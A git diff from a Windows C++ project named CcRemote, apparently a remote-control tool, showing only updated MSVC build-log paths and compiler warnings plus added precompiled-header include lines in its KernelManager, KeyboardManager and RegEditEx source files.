+f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
   VideoCap.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
   VideoManager.cpp
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   FileManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   dllmain.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
   正在生成代码
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
   All 342 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
   已完成代码的生成
-  CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll
+  CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate
index fd0ad53..3f4a20c 100644
--- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate
+++ b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
+Release|Win32|F:\myapp\CcRemote\CcMainDll\|
diff --git a/CcMainDll/CcMainDll/common/KernelManager.cpp b/CcMainDll/CcMainDll/common/KernelManager.cpp
index ca3377d..07e6cbd 100644
--- a/CcMainDll/CcMainDll/common/KernelManager.cpp
+++ b/CcMainDll/CcMainDll/common/KernelManager.cpp
@@ -2,7 +2,7 @@
 //
 //////////////////////////////////////////////////////////////////////
 
-
+#include "..\pch.h"
 #include "KernelManager.h"
 #include "loop.h"
 #include "until.h"
diff --git a/CcMainDll/CcMainDll/common/KeyboardManager.cpp b/CcMainDll/CcMainDll/common/KeyboardManager.cpp
index 3aac087..58d04b2 100644
--- a/CcMainDll/CcMainDll/common/KeyboardManager.cpp
+++ b/CcMainDll/CcMainDll/common/KeyboardManager.cpp
@@ -1,7 +1,7 @@
 // KeyboardManager.cpp: implementation of the CKeyboardManager class.
 //
 //////////////////////////////////////////////////////////////////////
-
+#include "..\pch.h"
 #include "KeyboardManager.h"
 #pragma comment(lib, "Imm32.lib")
 
diff --git a/CcMainDll/CcMainDll/common/RegEditEx.cpp b/CcMainDll/CcMainDll/common/RegEditEx.cpp
index 1c6ed96..ec98dd1 100644
--- a/CcMainDll/CcMainDll/common/RegEditEx.cpp
+++ b/CcMainDll/CcMainDll/common/RegEditEx.cpp
@@ -1,3 +1,4 @@
+#include "..\pch.h"
 #include <windows.h>
 //ȥ���ַ�������ǰ��Ŀո�
 char *DelSpace(char *szData)